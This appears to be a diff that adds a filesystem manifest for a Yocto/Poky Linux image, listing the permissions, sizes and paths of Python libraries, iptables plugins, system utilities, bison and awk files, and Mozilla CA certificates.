+-rw-r--r-- root root 12487 ./usr/lib/python3.8/xml/sax/__pycache__/expatreader.cpython-38.opt-1.pyc
+-rw-r--r-- root root 12076 ./usr/lib/python3.8/xml/sax/__pycache__/expatreader.cpython-38.opt-2.pyc
+-rw-r--r-- root root 12487 ./usr/lib/python3.8/xml/sax/__pycache__/expatreader.cpython-38.pyc
+-rw-r--r-- root root 12414 ./usr/lib/python3.8/xml/sax/__pycache__/handler.cpython-38.opt-1.pyc
+-rw-r--r-- root root 4643 ./usr/lib/python3.8/xml/sax/__pycache__/handler.cpython-38.opt-2.pyc
+-rw-r--r-- root root 12414 ./usr/lib/python3.8/xml/sax/__pycache__/handler.cpython-38.pyc
+-rw-r--r-- root root 3211 ./usr/lib/python3.8/xml/sax/__pycache__/__init__.cpython-38.opt-1.pyc
+-rw-r--r-- root root 2148 ./usr/lib/python3.8/xml/sax/__pycache__/__init__.cpython-38.opt-2.pyc
+-rw-r--r-- root root 3211 ./usr/lib/python3.8/xml/sax/__pycache__/__init__.cpython-38.pyc
+-rw-r--r-- root root 12911 ./usr/lib/python3.8/xml/sax/__pycache__/saxutils.cpython-38.opt-1.pyc
+-rw-r--r-- root root 11256 ./usr/lib/python3.8/xml/sax/__pycache__/saxutils.cpython-38.opt-2.pyc
+-rw-r--r-- root root 12911 ./usr/lib/python3.8/xml/sax/__pycache__/saxutils.cpython-38.pyc
+-rw-r--r-- root root 16836 ./usr/lib/python3.8/xml/sax/__pycache__/xmlreader.cpython-38.opt-1.pyc
+-rw-r--r-- root root 10399 ./usr/lib/python3.8/xml/sax/__pycache__/xmlreader.cpython-38.opt-2.pyc
+-rw-r--r-- root root 16836 ./usr/lib/python3.8/xml/sax/__pycache__/xmlreader.cpython-38.pyc
+-rw-r--r-- root root 12255 ./usr/lib/python3.8/xml/sax/saxutils.py
+-rw-r--r-- root root 12684 ./usr/lib/python3.8/xml/sax/xmlreader.py
+-rw-r--r-- root root 88132 ./usr/lib/python3.8/zipfile.py
+-rw-r--r-- root root 3920 ./usr/lib/Scrt1.o
+drwxr-xr-x root root 4096 ./usr/lib/ssl-1.1
+lrwxrwxrwx root root 22 ./usr/lib/ssl-1.1/certs -> ../../../etc/ssl/certs
+-rw-r--r-- root root 412 ./usr/lib/ssl-1.1/ct_log_list.cnf
+-rw-r--r-- root root 412 ./usr/lib/ssl-1.1/ct_log_list.cnf.dist
+-rw-r--r-- root root 10909 ./usr/lib/ssl-1.1/openssl.cnf.dist
+lrwxrwxrwx root root 28 ./usr/lib/ssl-1.1/openssl.cnf -> ../../../etc/ssl/openssl.cnf
+lrwxrwxrwx root root 24 ./usr/lib/ssl-1.1/private -> ../../../etc/ssl/private
+drwxr-xr-x root root 4096 ./usr/lib/systemd
+drwxr-xr-x root root 4096 ./usr/lib/systemd/user
+-rw-r--r-- root root 360 ./usr/lib/systemd/user/dbus.service
+-rw-r--r-- root root 174 ./usr/lib/systemd/user/dbus.socket
+drwxr-xr-x root root 4096 ./usr/lib/systemd/user/sockets.target.wants
+lrwxrwxrwx root root 14 ./usr/lib/systemd/user/sockets.target.wants/dbus.socket -> ../dbus.socket
+drwxr-xr-x root root 4096 ./usr/lib/x86_64-poky-linux
+drwxr-xr-x root root 4096 ./usr/lib/x86_64-poky-linux/10.1.0
+-rw-r--r-- root root 2432 ./usr/lib/x86_64-poky-linux/10.1.0/crtbegin.o
+-rw-r--r-- root root 2752 ./usr/lib/x86_64-poky-linux/10.1.0/crtbeginS.o
+-rw-r--r-- root root 2944 ./usr/lib/x86_64-poky-linux/10.1.0/crtbeginT.o
+-rw-r--r-- root root 1200 ./usr/lib/x86_64-poky-linux/10.1.0/crtend.o
+-rw-r--r-- root root 1200 ./usr/lib/x86_64-poky-linux/10.1.0/crtendS.o
+-rw-r--r-- root root 3848 ./usr/lib/x86_64-poky-linux/10.1.0/crtfastmath.o
+-rw-r--r-- root root 3400 ./usr/lib/x86_64-poky-linux/10.1.0/crtprec32.o
+-rw-r--r-- root root 3416 ./usr/lib/x86_64-poky-linux/10.1.0/crtprec64.o
+-rw-r--r-- root root 3400 ./usr/lib/x86_64-poky-linux/10.1.0/crtprec80.o
+-rw-r--r-- root root 6179894 ./usr/lib/x86_64-poky-linux/10.1.0/libgcc.a
+-rw-r--r-- root root 405636 ./usr/lib/x86_64-poky-linux/10.1.0/libgcc_eh.a
+-rw-r--r-- root root 267062 ./usr/lib/x86_64-poky-linux/10.1.0/libgcov.a
+-rw-r--r-- root root 201 ./usr/lib/xml2Conf.sh
+drwxr-xr-x root root 4096 ./usr/lib/xtables
+-rwxr-xr-x root root 14432 ./usr/lib/xtables/libip6t_ah.so
+-rwxr-xr-x root root 14640 ./usr/lib/xtables/libip6t_DNAT.so
+-rwxr-xr-x root root 14440 ./usr/lib/xtables/libip6t_DNPT.so
+-rwxr-xr-x root root 14432 ./usr/lib/xtables/libip6t_dst.so
+-rwxr-xr-x root root 14208 ./usr/lib/xtables/libip6t_eui64.so
+-rwxr-xr-x root root 14432 ./usr/lib/xtables/libip6t_frag.so
+-rwxr-xr-x root root 14432 ./usr/lib/xtables/libip6t_hbh.so
+-rwxr-xr-x root root 14432 ./usr/lib/xtables/libip6t_hl.so
+-rwxr-xr-x root root 14440 ./usr/lib/xtables/libip6t_HL.so
+-rwxr-xr-x root root 14440 ./usr/lib/xtables/libip6t_icmp6.so
+-rwxr-xr-x root root 14440 ./usr/lib/xtables/libip6t_ipv6header.so
+-rwxr-xr-x root root 14440 ./usr/lib/xtables/libip6t_LOG.so
+-rwxr-xr-x root root 14448 ./usr/lib/xtables/libip6t_MASQUERADE.so
+-rwxr-xr-x root root 14432 ./usr/lib/xtables/libip6t_mh.so
+-rwxr-xr-x root root 14448 ./usr/lib/xtables/libip6t_NETMAP.so
+-rwxr-xr-x root root 14448 ./usr/lib/xtables/libip6t_REDIRECT.so
+-rwxr-xr-x root root 14448 ./usr/lib/xtables/libip6t_REJECT.so
+-rwxr-xr-x root root 14432 ./usr/lib/xtables/libip6t_rt.so
+-rwxr-xr-x root root 14440 ./usr/lib/xtables/libip6t_SNAT.so
+-rwxr-xr-x root root 14440 ./usr/lib/xtables/libip6t_SNPT.so
+-rwxr-xr-x root root 22816 ./usr/lib/xtables/libip6t_srh.so
+-rwxr-xr-x root root 14432 ./usr/lib/xtables/libipt_ah.so
+-rwxr-xr-x root root 14448 ./usr/lib/xtables/libipt_CLUSTERIP.so
+-rwxr-xr-x root root 18736 ./usr/lib/xtables/libipt_DNAT.so
+-rwxr-xr-x root root 14440 ./usr/lib/xtables/libipt_ECN.so
+-rwxr-xr-x root root 14432 ./usr/lib/xtables/libipt_icmp.so
+-rwxr-xr-x root root 14440 ./usr/lib/xtables/libipt_LOG.so
+-rwxr-xr-x root root 14448 ./usr/lib/xtables/libipt_MASQUERADE.so
+-rwxr-xr-x root root 14448 ./usr/lib/xtables/libipt_NETMAP.so
+-rwxr-xr-x root root 14432 ./usr/lib/xtables/libipt_realm.so
+-rwxr-xr-x root root 14448 ./usr/lib/xtables/libipt_REDIRECT.so
+-rwxr-xr-x root root 14448 ./usr/lib/xtables/libipt_REJECT.so
+-rwxr-xr-x root root 14440 ./usr/lib/xtables/libipt_SNAT.so
+-rwxr-xr-x root root 14432 ./usr/lib/xtables/libipt_ttl.so
+-rwxr-xr-x root root 14440 ./usr/lib/xtables/libipt_TTL.so
+-rwxr-xr-x root root 14440 ./usr/lib/xtables/libipt_ULOG.so
+-rwxr-xr-x root root 14632 ./usr/lib/xtables/libxt_addrtype.so
+-rwxr-xr-x root root 14440 ./usr/lib/xtables/libxt_AUDIT.so
+-rwxr-xr-x root root 14624 ./usr/lib/xtables/libxt_bpf.so
+-rwxr-xr-x root root 14816 ./usr/lib/xtables/libxt_cgroup.so
+-rwxr-xr-x root root 14448 ./usr/lib/xtables/libxt_CHECKSUM.so
+-rwxr-xr-x root root 14648 ./usr/lib/xtables/libxt_CLASSIFY.so
+-rwxr-xr-x root root 14440 ./usr/lib/xtables/libxt_cluster.so
+-rwxr-xr-x root root 14440 ./usr/lib/xtables/libxt_comment.so
+-rwxr-xr-x root root 14440 ./usr/lib/xtables/libxt_connbytes.so
+-rwxr-xr-x root root 15016 ./usr/lib/xtables/libxt_connlimit.so
+-rwxr-xr-x root root 14632 ./usr/lib/xtables/libxt_connmark.so
+-rwxr-xr-x root root 18944 ./usr/lib/xtables/libxt_CONNMARK.so
+-rwxr-xr-x root root 14448 ./usr/lib/xtables/libxt_CONNSECMARK.so
+-rwxr-xr-x root root 32744 ./usr/lib/xtables/libxt_conntrack.so
+-rwxr-xr-x root root 14432 ./usr/lib/xtables/libxt_cpu.so
+-rwxr-xr-x root root 19736 ./usr/lib/xtables/libxt_CT.so
+-rwxr-xr-x root root 14432 ./usr/lib/xtables/libxt_dccp.so
+-rwxr-xr-x root root 14440 ./usr/lib/xtables/libxt_devgroup.so
+-rwxr-xr-x root root 14624 ./usr/lib/xtables/libxt_dscp.so
+-rwxr-xr-x root root 14640 ./usr/lib/xtables/libxt_DSCP.so
+-rwxr-xr-x root root 14432 ./usr/lib/xtables/libxt_ecn.so
+-rwxr-xr-x root root 14432 ./usr/lib/xtables/libxt_esp.so
+-rwxr-xr-x root root 36136 ./usr/lib/xtables/libxt_hashlimit.so
+-rwxr-xr-x root root 14432 ./usr/lib/xtables/libxt_helper.so
+-rwxr-xr-x root root 14640 ./usr/lib/xtables/libxt_HMARK.so
+-rwxr-xr-x root root 14448 ./usr/lib/xtables/libxt_IDLETIMER.so
+-rwxr-xr-x root root 14432 ./usr/lib/xtables/libxt_ipcomp.so
+-rwxr-xr-x root root 14824 ./usr/lib/xtables/libxt_iprange.so
+-rwxr-xr-x root root 14624 ./usr/lib/xtables/libxt_ipvs.so
+-rwxr-xr-x root root 14440 ./usr/lib/xtables/libxt_LED.so
+-rwxr-xr-x root root 14432 ./usr/lib/xtables/libxt_length.so
+-rwxr-xr-x root root 14624 ./usr/lib/xtables/libxt_limit.so
+-rwxr-xr-x root root 14432 ./usr/lib/xtables/libxt_mac.so
+-rwxr-xr-x root root 14624 ./usr/lib/xtables/libxt_mark.so
+-rwxr-xr-x root root 15168 ./usr/lib/xtables/libxt_MARK.so
+-rwxr-xr-x root root 19112 ./usr/lib/xtables/libxt_multiport.so
+-rwxr-xr-x root root 14624 ./usr/lib/xtables/libxt_nfacct.so
+-rwxr-xr-x root root 14440 ./usr/lib/xtables/libxt_NFLOG.so
+-rwxr-xr-x root root 15048 ./usr/lib/xtables/libxt_NFQUEUE.so
+lrwxrwxrwx root root 11 ./usr/lib/xtables/libxt_NOTRACK.so -> libxt_CT.so
+-rwxr-xr-x root root 14432 ./usr/lib/xtables/libxt_osf.so
+-rwxr-xr-x root root 23008 ./usr/lib/xtables/libxt_owner.so
+-rwxr-xr-x root root 14440 ./usr/lib/xtables/libxt_physdev.so
+-rwxr-xr-x root root 14440 ./usr/lib/xtables/libxt_pkttype.so
+-rwxr-xr-x root root 14624 ./usr/lib/xtables/libxt_policy.so
+-rwxr-xr-x root root 14432 ./usr/lib/xtables/libxt_quota.so
+-rwxr-xr-x root root 14440 ./usr/lib/xtables/libxt_rateest.so
+-rwxr-xr-x root root 14448 ./usr/lib/xtables/libxt_RATEEST.so
+-rwxr-xr-x root root 18912 ./usr/lib/xtables/libxt_recent.so
+-rwxr-xr-x root root 14440 ./usr/lib/xtables/libxt_rpfilter.so
+-rwxr-xr-x root root 14432 ./usr/lib/xtables/libxt_sctp.so
+-rwxr-xr-x root root 14448 ./usr/lib/xtables/libxt_SECMARK.so
+-rwxr-xr-x root root 23392 ./usr/lib/xtables/libxt_set.so
+-rwxr-xr-x root root 23232 ./usr/lib/xtables/libxt_SET.so
+-rwxr-xr-x root root 15008 ./usr/lib/xtables/libxt_socket.so
+-rwxr-xr-x root root 14368 ./usr/lib/xtables/libxt_standard.so
+lrwxrwxrwx root root 18 ./usr/lib/xtables/libxt_state.so -> libxt_conntrack.so
+-rwxr-xr-x root root 14440 ./usr/lib/xtables/libxt_statistic.so
+-rwxr-xr-x root root 14624 ./usr/lib/xtables/libxt_string.so
+-rwxr-xr-x root root 14448 ./usr/lib/xtables/libxt_SYNPROXY.so
+-rwxr-xr-x root root 14432 ./usr/lib/xtables/libxt_tcpmss.so
+-rwxr-xr-x root root 14640 ./usr/lib/xtables/libxt_TCPMSS.so
+-rwxr-xr-x root root 14448 ./usr/lib/xtables/libxt_TCPOPTSTRIP.so
+-rwxr-xr-x root root 14432 ./usr/lib/xtables/libxt_tcp.so
+-rwxr-xr-x root root 14640 ./usr/lib/xtables/libxt_TEE.so
+-rwxr-xr-x root root 14432 ./usr/lib/xtables/libxt_time.so
+-rwxr-xr-x root root 14624 ./usr/lib/xtables/libxt_tos.so
+-rwxr-xr-x root root 14640 ./usr/lib/xtables/libxt_TOS.so
+-rwxr-xr-x root root 14840 ./usr/lib/xtables/libxt_TPROXY.so
+-rwxr-xr-x root root 14208 ./usr/lib/xtables/libxt_TRACE.so
+-rwxr-xr-x root root 14432 ./usr/lib/xtables/libxt_u32.so
+-rwxr-xr-x root root 14432 ./usr/lib/xtables/libxt_udp.so
+drwxr-xr-x root root 4096 ./usr/sbin
+lrwxrwxrwx root root 19 ./usr/sbin/addgroup -> /bin/busybox.nosuid
+-rwxr-xr-x root root 26664 ./usr/sbin/addpart
+lrwxrwxrwx root root 19 ./usr/sbin/adduser -> /bin/busybox.nosuid
+-rwxr-xr-x root root 30760 ./usr/sbin/blkdiscard
+-rwxr-xr-x root root 71720 ./usr/sbin/blkzone
+-rwxr-xr-x root root 47136 ./usr/sbin/chcpu
+-rwxr-xr-x root root 59152 ./usr/sbin/chgpasswd
+-rwxr-xr-x root root 55056 ./usr/sbin/chpasswd.shadow
+lrwxrwxrwx root root 25 ./usr/sbin/chpasswd -> /usr/sbin/chpasswd.shadow
+-rwxr-xr-x root root 55464 ./usr/sbin/chroot.coreutils
+lrwxrwxrwx root root 26 ./usr/sbin/chroot -> /usr/sbin/chroot.coreutils
+lrwxrwxrwx root root 19 ./usr/sbin/delgroup -> /bin/busybox.nosuid
+-rwxr-xr-x root root 26664 ./usr/sbin/delpart
+lrwxrwxrwx root root 19 ./usr/sbin/deluser -> /bin/busybox.nosuid
+lrwxrwxrwx root root 19 ./usr/sbin/fbset -> /bin/busybox.nosuid
+-rwxr-xr-x root root 34856 ./usr/sbin/fdformat
+-rwxr-xr-x root root 14368 ./usr/sbin/findfs
+-rwxr-xr-x root root 38984 ./usr/sbin/fsck.cramfs
+lrwxrwxrwx root root 29 ./usr/sbin/fsfreeze -> /usr/sbin/fsfreeze.util-linux
+-rwxr-xr-x root root 14384 ./usr/sbin/fsfreeze.util-linux
+-rwxr-xr-x root root 84336 ./usr/sbin/groupadd
+-rwxr-xr-x root root 75952 ./usr/sbin/groupdel
+-rwxr-xr-x root root 59160 ./usr/sbin/groupmems
+-rwxr-xr-x root root 84272 ./usr/sbin/groupmod
+-rwxr-xr-x root root 59120 ./usr/sbin/grpck
+-rwxr-xr-x root root 54896 ./usr/sbin/grpconv
+-rwxr-xr-x root root 54904 ./usr/sbin/grpunconv
+-rwxr-xr-x root root 30936 ./usr/sbin/iconvconfig
+lrwxrwxrwx root root 20 ./usr/sbin/ip6tables-legacy-restore -> xtables-legacy-multi
+lrwxrwxrwx root root 20 ./usr/sbin/ip6tables-legacy-save -> xtables-legacy-multi
+lrwxrwxrwx root root 20 ./usr/sbin/ip6tables-legacy -> xtables-legacy-multi
+lrwxrwxrwx root root 20 ./usr/sbin/ip6tables-restore -> xtables-legacy-multi
+lrwxrwxrwx root root 20 ./usr/sbin/ip6tables-save -> xtables-legacy-multi
+lrwxrwxrwx root root 20 ./usr/sbin/ip6tables -> xtables-legacy-multi
+lrwxrwxrwx root root 20 ./usr/sbin/iptables-legacy-restore -> xtables-legacy-multi
+lrwxrwxrwx root root 20 ./usr/sbin/iptables-legacy-save -> xtables-legacy-multi
+lrwxrwxrwx root root 20 ./usr/sbin/iptables-legacy -> xtables-legacy-multi
+lrwxrwxrwx root root 20 ./usr/sbin/iptables-restore -> xtables-legacy-multi
+lrwxrwxrwx root root 20 ./usr/sbin/iptables-save -> xtables-legacy-multi
+lrwxrwxrwx root root 20 ./usr/sbin/iptables -> xtables-legacy-multi
+-rwxr-xr-x root root 34856 ./usr/sbin/ldattach
+lrwxrwxrwx root root 19 ./usr/sbin/loadfont -> /bin/busybox.nosuid
+-rwxr-xr-x root root 14288 ./usr/sbin/logoutd
+-rwxr-xr-x root root 14368 ./usr/sbin/mkfs
+-rwxr-xr-x root root 38880 ./usr/sbin/mkfs.cramfs
+-rwxr-xr-x root root 96560 ./usr/sbin/newusers
+-rwxr-xr-x root root 116776 ./usr/sbin/partx
+-rwxr-xr-x root root 55016 ./usr/sbin/pwck
+-rwxr-xr-x root root 50792 ./usr/sbin/pwconv
+-rwxr-xr-x root root 50808 ./usr/sbin/pwunconv
+-rwxr-xr-x root root 14368 ./usr/sbin/raw
+lrwxrwxrwx root root 19 ./usr/sbin/rdate -> /bin/busybox.nosuid
+lrwxrwxrwx root root 32 ./usr/sbin/readprofile -> /usr/sbin/readprofile.util-linux
+-rwxr-xr-x root root 22616 ./usr/sbin/readprofile.util-linux
+-rwxr-xr-x root root 63528 ./usr/sbin/resizepart
+lrwxrwxrwx root root 27 ./usr/sbin/rfkill -> /usr/sbin/rfkill.util-linux
+-rwxr-xr-x root root 47152 ./usr/sbin/rfkill.util-linux
+-rwxr-xr-x root root 47144 ./usr/sbin/rtcwake
+-rwxr-xr-x root root 1986 ./usr/sbin/run-postinsts
+-rwxr-xr-x root root 141352 ./usr/sbin/sfdisk
+-rwxr-xr-x root root 18472 ./usr/sbin/swaplabel
+lrwxrwxrwx root root 19 ./usr/sbin/udhcpd -> /bin/busybox.nosuid
+-rwxr-xr-x root root 5990 ./usr/sbin/update-ca-certificates
+-rwxr-xr-x root root 6365 ./usr/sbin/update-rc.d
+-rwxr-xr-x root root 130136 ./usr/sbin/useradd
+-rwxr-xr-x root root 88328 ./usr/sbin/userdel
+-rwxr-xr-x root root 125880 ./usr/sbin/usermod
+-rwxr-xr-x root root 39032 ./usr/sbin/uuidd
+-rwxr-xr-x root root 47144 ./usr/sbin/wipefs
+-rwxr-xr-x root root 98960 ./usr/sbin/xtables-legacy-multi
+-rwxr-xr-x root root 112792 ./usr/sbin/zramctl
+drwxr-xr-x root root 4096 ./usr/share
+drwxr-xr-x root root 4096 ./usr/share/aclocal
+-rw-r--r-- root root 2221 ./usr/share/aclocal/bison-i18n.m4
+-rw-r--r-- root root 1184 ./usr/share/aclocal/cap-ng.m4
+-rw-r--r-- root root 6337 ./usr/share/aclocal/freetype2.m4
+-rw-r--r-- root root 8316 ./usr/share/aclocal/glib-2.0.m4
+-rw-r--r-- root root 15838 ./usr/share/aclocal/glib-gettext.m4
+-rw-r--r-- root root 3589 ./usr/share/aclocal/gsettings.m4
+-rw-r--r-- root root 5132 ./usr/share/aclocal/introspection.m4
+-rw-r--r-- root root 357 ./usr/share/aclocal/libxml.m4
+-rw-r--r-- root root 428 ./usr/share/aclocal/wayland-scanner.m4
+-rw-r--r-- root root 71315 ./usr/share/aclocal/xorg-macros.m4
+-rw-r--r-- root root 6537 ./usr/share/aclocal/xtrans.m4
+drwxr-xr-x root root 4096 ./usr/share/awk
+-rw-r--r-- root root 383 ./usr/share/awk/assert.awk
+-rw-r--r-- root root 334 ./usr/share/awk/bits2str.awk
+-rw-r--r-- root root 307 ./usr/share/awk/cliff_rand.awk
+-rw-r--r-- root root 234 ./usr/share/awk/ctime.awk
+-rw-r--r-- root root 315 ./usr/share/awk/ftrans.awk
+-rw-r--r-- root root 2202 ./usr/share/awk/getopt.awk
+-rw-r--r-- root root 2491 ./usr/share/awk/gettime.awk
+-rw-r--r-- root root 1765 ./usr/share/awk/group.awk
+-rw-r--r-- root root 221 ./usr/share/awk/have_mpfr.awk
+-rw-r--r-- root root 1992 ./usr/share/awk/inplace.awk
+-rw-r--r-- root root 462 ./usr/share/awk/intdiv0.awk
+-rw-r--r-- root root 378 ./usr/share/awk/join.awk
+-rw-r--r-- root root 238 ./usr/share/awk/libintl.awk
+-rw-r--r-- root root 422 ./usr/share/awk/noassign.awk
+-rw-r--r-- root root 1282 ./usr/share/awk/ns_passwd.awk
+-rw-r--r-- root root 937 ./usr/share/awk/ord.awk
+-rw-r--r-- root root 1199 ./usr/share/awk/passwd.awk
+-rw-r--r-- root root 355 ./usr/share/awk/processarray.awk
+-rw-r--r-- root root 1031 ./usr/share/awk/quicksort.awk
+-rw-r--r-- root root 489 ./usr/share/awk/readable.awk
+-rw-r--r-- root root 267 ./usr/share/awk/readfile.awk
+-rw-r--r-- root root 404 ./usr/share/awk/rewind.awk
+-rw-r--r-- root root 661 ./usr/share/awk/round.awk
+-rw-r--r-- root root 472 ./usr/share/awk/shellquote.awk
+-rw-r--r-- root root 1454 ./usr/share/awk/strtonum.awk
+-rw-r--r-- root root 214 ./usr/share/awk/walkarray.awk
+-rw-r--r-- root root 424 ./usr/share/awk/zerofile.awk
+drwxr-xr-x root root 4096 ./usr/share/bash-completion
+-rw-r--r-- root root 74302 ./usr/share/bash-completion/bash_completion
+drwxr-xr-x root root 4096 ./usr/share/bison
+-rw-r--r-- root root 1147 ./usr/share/bison/bison-default.css
+drwxr-xr-x root root 4096 ./usr/share/bison/m4sugar
+-rw-r--r-- root root 14755 ./usr/share/bison/m4sugar/foreach.m4
+-rw-r--r-- root root 122297 ./usr/share/bison/m4sugar/m4sugar.m4
+-rw-r--r-- root root 6832 ./usr/share/bison/README.md
+drwxr-xr-x root root 4096 ./usr/share/bison/skeletons
+-rw-r--r-- root root 39019 ./usr/share/bison/skeletons/bison.m4
+-rw-r--r-- root root 2404 ./usr/share/bison/skeletons/c-like.m4
+-rw-r--r-- root root 29832 ./usr/share/bison/skeletons/c.m4
+-rw-r--r-- root root 19123 ./usr/share/bison/skeletons/c++.m4
+-rw-r--r-- root root 1163 ./usr/share/bison/skeletons/c-skel.m4
+-rw-r--r-- root root 1169 ./usr/share/bison/skeletons/c++-skel.m4
+-rw-r--r-- root root 9790 ./usr/share/bison/skeletons/d.m4
+-rw-r--r-- root root 1135 ./usr/share/bison/skeletons/d-skel.m4
+-rw-r--r-- root root 87461 ./usr/share/bison/skeletons/glr.c
+-rw-r--r-- root root 11938 ./usr/share/bison/skeletons/glr.cc
+-rw-r--r-- root root 10796 ./usr/share/bison/skeletons/java.m4
+-rw-r--r-- root root 1166 ./usr/share/bison/skeletons/java-skel.m4
+-rw-r--r-- root root 46677 ./usr/share/bison/skeletons/lalr1.cc
+-rw-r--r-- root root 29428 ./usr/share/bison/skeletons/lalr1.d
+-rw-r--r-- root root 34757 ./usr/share/bison/skeletons/lalr1.java
+-rw-r--r-- root root 10331 ./usr/share/bison/skeletons/location.cc
+-rw-r--r-- root root 1898 ./usr/share/bison/skeletons/README-D.txt
+-rw-r--r-- root root 3854 ./usr/share/bison/skeletons/stack.hh
+-rw-r--r-- root root 12992 ./usr/share/bison/skeletons/variant.hh
+-rw-r--r-- root root 66135 ./usr/share/bison/skeletons/yacc.c
+drwxr-xr-x root root 4096 ./usr/share/bison/xslt
+-rw-r--r-- root root 3364 ./usr/share/bison/xslt/bison.xsl
+-rw-r--r-- root root 12820 ./usr/share/bison/xslt/xml2dot.xsl
+-rw-r--r-- root root 18554 ./usr/share/bison/xslt/xml2text.xsl
+-rw-r--r-- root root 22678 ./usr/share/bison/xslt/xml2xhtml.xsl
+drwxr-xr-x root root 4096 ./usr/share/ca-certificates
+drwxr-xr-x root root 12288 ./usr/share/ca-certificates/mozilla
+-rw-r--r-- root root 2772 ./usr/share/ca-certificates/mozilla/ACCVRAIZ1.crt
+-rw-r--r-- root root 1972 ./usr/share/ca-certificates/mozilla/AC_RAIZ_FNMT-RCM.crt
+-rw-r--r-- root root 2049 ./usr/share/ca-certificates/mozilla/Actalis_Authentication_Root_CA.crt
+-rw-r--r-- root root 1521 ./usr/share/ca-certificates/mozilla/AddTrust_External_Root.crt
+-rw-r--r-- root root 1204 ./usr/share/ca-certificates/mozilla/AffirmTrust_Commercial.crt
+-rw-r--r-- root root 1204 ./usr/share/ca-certificates/mozilla/AffirmTrust_Networking.crt
+-rw-r--r-- root root 1891 ./usr/share/ca-certificates/mozilla/AffirmTrust_Premium.crt
+-rw-r--r-- root root 753 ./usr/share/ca-certificates/mozilla/AffirmTrust_Premium_ECC.crt
+-rw-r--r-- root root 1188 ./usr/share/ca-certificates/mozilla/Amazon_Root_CA_1.crt
+-rw-r--r-- root root 1883 ./usr/share/ca-certificates/mozilla/Amazon_Root_CA_2.crt
+-rw-r--r-- root root 656 ./usr/share/ca-certificates/mozilla/Amazon_Root_CA_3.crt
+-rw-r--r-- root root 737 ./usr/share/ca-certificates/mozilla/Amazon_Root_CA_4.crt
+-rw-r--r-- root root 1261 ./usr/share/ca-certificates/mozilla/Atos_TrustedRoot_2011.crt
+-rw-r--r-- root root 2167 ./usr/share/ca-certificates/mozilla/Autoridad_de_Certificacion_Firmaprofesional_CIF_A62634068.crt
+-rw-r--r-- root root 1261 ./usr/share/ca-certificates/mozilla/Baltimore_CyberTrust_Root.crt
+-rw-r--r-- root root 1915 ./usr/share/ca-certificates/mozilla/Buypass_Class_2_Root_CA.crt
+-rw-r--r-- root root 1915 ./usr/share/ca-certificates/mozilla/Buypass_Class_3_Root_CA.crt
+-rw-r--r-- root root 1935 ./usr/share/ca-certificates/mozilla/CA_Disig_Root_R2.crt
+-rw-r--r-- root root 1330 ./usr/share/ca-certificates/mozilla/Certigna.crt
+-rw-r--r-- root root 1992 ./usr/share/ca-certificates/mozilla/Certinomis_-_Root_CA.crt
+-rw-r--r-- root root 1298 ./usr/share/ca-certificates/mozilla/Certplus_Class_2_Primary_CA.crt
+-rw-r--r-- root root 1176 ./usr/share/ca-certificates/mozilla/certSIGN_ROOT_CA.crt
+-rw-r--r-- root root 2078 ./usr/share/ca-certificates/mozilla/Certum_Trusted_Network_CA_2.crt
+-rw-r--r-- root root 1354 ./usr/share/ca-certificates/mozilla/Certum_Trusted_Network_CA.crt
+-rw-r--r-- root root 1984 ./usr/share/ca-certificates/mozilla/CFCA_EV_ROOT.crt
+-rw-r--r-- root root 2594 ./usr/share/ca-certificates/mozilla/Chambers_of_Commerce_Root_-_2008.crt
+-rw-r--r-- root root 1517 ./usr/share/ca-certificates/mozilla/Comodo_AAA_Services_root.crt
+-rw-r--r-- root root 1489 ./usr/share/ca-certificates/mozilla/COMODO_Certification_Authority.crt
+-rw-r--r-- root root 940 ./usr/share/ca-certificates/mozilla/COMODO_ECC_Certification_Authority.crt
+-rw-r--r-- root root 2086 ./usr/share/ca-certificates/mozilla/COMODO_RSA_Certification_Authority.crt
+-rw-r--r-- root root 1318 ./usr/share/ca-certificates/mozilla/Cybertrust_Global_Root.crt
+-rw-r--r-- root root 1318 ./usr/share/ca-certificates/mozilla/Deutsche_Telekom_Root_CA_2.crt
+-rw-r--r-- root root 1350 ./usr/share/ca-certificates/mozilla/DigiCert_Assured_ID_Root_CA.crt
+-rw-r--r-- root root 1306 ./usr/share/ca-certificates/mozilla/DigiCert_Assured_ID_Root_G2.crt
+-rw-r--r-- root root 851 ./usr/share/ca-certificates/mozilla/DigiCert_Assured_ID_Root_G3.crt
+-rw-r--r-- root root 1338 ./usr/share/ca-certificates/mozilla/DigiCert_Global_Root_CA.crt
+-rw-r--r-- root root 1294 ./usr/share/ca-certificates/mozilla/DigiCert_Global_Root_G2.crt
+-rw-r--r-- root root 839 ./usr/share/ca-certificates/mozilla/DigiCert_Global_Root_G3.crt
+-rw-r--r-- root root 1367 ./usr/share/ca-certificates/mozilla/DigiCert_High_Assurance_EV_Root_CA.crt
+-rw-r--r-- root root 1988 ./usr/share/ca-certificates/mozilla/DigiCert_Trusted_Root_G4.crt
+-rw-r--r-- root root 1200 ./usr/share/ca-certificates/mozilla/DST_Root_CA_X3.crt
+-rw-r--r-- root root 1517 ./usr/share/ca-certificates/mozilla/D-TRUST_Root_Class_3_CA_2_2009.crt
+-rw-r--r-- root root 1537 ./usr/share/ca-certificates/mozilla/D-TRUST_Root_Class_3_CA_2_EV_2009.crt
+-rw-r--r-- root root 1911 ./usr/share/ca-certificates/mozilla/EC-ACC.crt
+-rw-r--r-- root root 1452 ./usr/share/ca-certificates/mozilla/EE_Certification_Centre_Root_CA.crt
+-rw-r--r-- root root 1505 ./usr/share/ca-certificates/mozilla/Entrust.net_Premium_2048_Secure_Server_CA.crt
+-rw-r--r-- root root 1643 ./usr/share/ca-certificates/mozilla/Entrust_Root_Certification_Authority.crt
+-rw-r--r-- root root 1090 ./usr/share/ca-certificates/mozilla/Entrust_Root_Certification_Authority_-_EC1.crt
+-rw-r--r-- root root 1533 ./usr/share/ca-certificates/mozilla/Entrust_Root_Certification_Authority_-_G2.crt
+-rw-r--r-- root root 2033 ./usr/share/ca-certificates/mozilla/ePKI_Root_Certification_Authority.crt
+-rw-r--r-- root root 2244 ./usr/share/ca-certificates/mozilla/E-Tugra_Certification_Authority.crt
+-rw-r--r-- root root 1980 ./usr/share/ca-certificates/mozilla/GDCA_TrustAUTH_R5_ROOT.crt
+-rw-r--r-- root root 1216 ./usr/share/ca-certificates/mozilla/GeoTrust_Global_CA.crt
+-rw-r--r-- root root 1269 ./usr/share/ca-certificates/mozilla/GeoTrust_Primary_Certification_Authority.crt
+-rw-r--r-- root root 989 ./usr/share/ca-certificates/mozilla/GeoTrust_Primary_Certification_Authority_-_G2.crt
+-rw-r--r-- root root 1444 ./usr/share/ca-certificates/mozilla/GeoTrust_Primary_Certification_Authority_-_G3.crt
